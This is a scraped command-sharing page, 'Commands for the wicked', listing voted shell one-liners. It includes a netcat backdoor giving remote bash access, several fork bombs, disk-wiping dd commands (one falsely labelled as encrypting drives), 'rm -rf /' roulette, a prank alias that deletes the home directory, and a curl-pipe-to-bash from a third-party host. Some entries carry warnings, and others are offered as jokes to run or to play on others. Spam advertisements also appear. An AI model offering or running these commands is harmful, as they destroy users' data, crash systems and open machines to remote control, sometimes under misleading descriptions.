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Commands for the wicked

Commands for the wicked from sorted by
Terminal - Commands for the wicked - 31 results
!whatever:p
2009-02-05 21:39:39
User: jonty
141
Up
Down
Check command history, but avoid running it

!whatever will search your command history and execute the first command that matches 'whatever'. If you don't feel safe doing this put :p on the end to print without executing. Recommended when running as superuser.

Comments (12) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
nc -vv -l -p 1234 -e /bin/bash
2009-02-19 13:20:33
User: PeekNPoke
30
Up
Down
Create a backdoor on a machine to allow remote connection to bash

This will launch a listener on the machine that will wait for a connection on port 1234. When you connect from a remote machine with something like :

nc 192.168.0.1 1234

You will have console access to the machine through bash.

Show sample output | Comments (3) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
/bin/bash | nc -l 1234
2009-11-07 21:26:53
User: despseekingsatan
2
Up
Down
Create a backdoor on a machine to allow remote connection to bash

My netcat (nc-1.84-10.fc6) doesn't have the -e option, so I have to do it like this. Of course, instead of bash, you can use any executable, including scripts.

Comments (0) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
curl http://flip-edesign.com/scripts/system_info | bash
2009-08-29 20:18:02
User: flip387
0
Up
Down
Quick system hardware overview

This is a simple BASH script which with gather basic system hardware such as CPU sockets and cores, Memory modules and sizes as well as overall memory and more.

Root access may be needed to pull information from 'dmidecode'

Show sample output | Comments (2) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
dd if=/dev/zero of=/dev/hda
2009-02-16 00:04:23
User: cd
Functions: dd
-1
Up
Down
Delete everything on hda

This will completely erase everything on your hard drive and is not reversible.

Comments (2) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
bomb(){ bomb|bomb };bomb
2009-02-10 22:02:54
User: rdantas
-7
Up
Down
Recursive bomb: Save your files first!
Comments (1) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
# hdparm -mRuUwx --dco-restore --drq-hsm-error --fwdownload --security-unlock PWD --security-set-pass PWD --security-disable PWD --security-erase PWD --security-erase-enhanced PWD --user-master USER --security-mode MODE [device]
2009-11-03 03:28:08
User: purpleidea
Functions: hdparm
Tags: Linux dangerous hdparm ridiculous
-12
Up
Down
most dangerous command ever.

this is the most scary command that exists. read the hdparm man page. and see this post: http://dazzle.cs.mcgill.ca/wordpress/?p=36

Show sample output | Comments (1) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
echo && :(){ :|:& };:
2010-01-08 10:37:44
User: yvoictra
Functions: echo
Tags: unix Reboot overload system crash
-13
Up
Down
Overloading unix system until crash

WARNING!! This command can produce to crash the unix system where you execute it. What this command do is to generate a lot of threads (so in practice -> process) until the system is overloaded, and to recover it, it is needed a reboot of the machine.

I believe it is interesting to study how this command works, however It is important to notice that executing this, the system is going to crash, so PLEASE save all the work you have opened before. Maybe it can also corrupt the system...

This is a fork bomb.

More info: http://en.wikipedia.org/wiki/Fork_bomb

Comments (4) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
b=\' c=\\ a='yes $( echo b=$c$b c=$c$c a=$b$a$b; echo $a ) | bash &'; yes $( echo b=$c$b c=$c$c a=$b$a$b; echo $a ) | bash &
2009-03-10 05:26:26
User: MaxToTheMax
Functions: bash echo yes
Tags: fork bomb yes annoying
-15
Up
Down
WARNING FORK BOMB! Use at your own risk.

Use "killall bash" to stop it.

Comments (2) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
:(){ :|:& };:
2009-02-05 10:20:00
User: adavies42
-20
Up
Down
jaromil's forkbomb (*DO NOT USE*)

exponentially spawns subprocesses until your box locks up.

DO NOT USE IF YOU DON'T WANT TO REBOOT!

Comments (0) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
How to backup hard disk timely?
2010-01-30 03:38:45
User: DemiMoore
-22
Up
Down
How to backup hard disk timely? Use Time Shuttle to backup your hard disk by takeing snapshots and thus to prevent data loss.

How to backup hard disk timely? Use Time Shuttle to backup your hard disk by takeing snapshots and thus to prevent data loss.

Show sample output | Comments (2) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
:(){ :|:& };:
2009-02-25 18:45:17
User: dhbarr
-22
Up
Down
Classic BASH fork bomb. DO NOT USE!

Classic BASH fork bomb. DO NOT USE!

Show sample output | Comments (5) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
[ "`whoami`" == "root" ] && ( [ $[ $RANDOM % 6 ] == 0 ] && ( dd if=/dev/null of=/dev/hda bs=1 ; halt; ) || echo Alive\! ) || echo No risk, no fun! Become root\!;
2009-10-14 08:50:57
User: Cowboy
Functions: dd echo
-24
Up
Down
Better Russian Roulette

Better don't run this command. Only funny on machines you'd like to kill.

Comments (4) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
:(){ :|:& };:
2009-02-18 03:24:06
User: zakmo
-26
Up
Down
Fork (UNIX)

creates a large number of processes very quickly in order to overload an OS

to stop this bomb in about 45 sec.

Type: while (sleep 100 &!) do; done

or do a killall

Comments (2) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
yes `yes`
2009-06-12 18:59:26
User: metuhh
Functions: yes
-29
Up
Down
fork bomb
Comments (4) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
:(){ :|:& };:
2009-03-27 04:44:18
User: gpshead
-29
Up
Down
test your process limits
Comments (6) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
:(){:|:&};:
2009-02-18 16:39:27
User: TheBunman
-32
Up
Down
f0rk bomb that forks itself

This command is a fork bomb! Proceed with caution. ;)

Comments (0) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
sh ~/.bash_history > /dev/null 2>&1
2009-02-11 04:45:33
User: fmdlc
Functions: sh
-32
Up
Down
A funny command

It's a funny command what execute all the file ~/.bash_history

Comments (1) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
778.786.1103
2009-09-28 19:28:42
User: dickson
-34
Up
Down
778.786.1103

254.003.032.3

Show sample output | Comments (1) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
Windows System Restore, individual file recovery, files backup
2010-01-29 02:20:37
User: DemiMoore
Functions: file
-37
Up
Down
3 Ways of System Restore to Remove Windows Problems

Introduce three main ways to restore system. System restore is an effective way to solve most of system problems. Traditional methods of system restore have more or less limitations and new way has made great progress.

Comments (2) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo *Click*
2009-02-16 01:17:04
User: Fuzzwah
Functions: echo rm
-37
Up
Down
command line russian roulette

5 out of 6 times its really funny.

Show sample output | Comments (6) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
for disk in /dev/sd*; sudo dd if=/dev/urandom of=$disk; done
2009-02-05 22:05:46
User: HansReiser
Functions: dd sudo
-37
Up
Down
Encrypts all your HDDs with a one-time-pad

Alternatively, run as root and take out the sudo.

Comments (5) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
:(){ :|:&};:
2009-02-18 22:37:21
User: jaq
-39
Up
Down
at it like rabbits

Now try to recover without rebooting, for an extra 10 points.

Comments (4) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
:(){ :|:& };:
2009-02-19 22:14:57
User: asdf
-42
Up
Down
Yay! :)
Comments (10) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
alias emacs='rm -rf ~/'
2009-02-05 17:41:51
User: CyberJesus
Functions: alias
-47
Up
Down
Punish people for trying to use inferior software
Comments (3) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate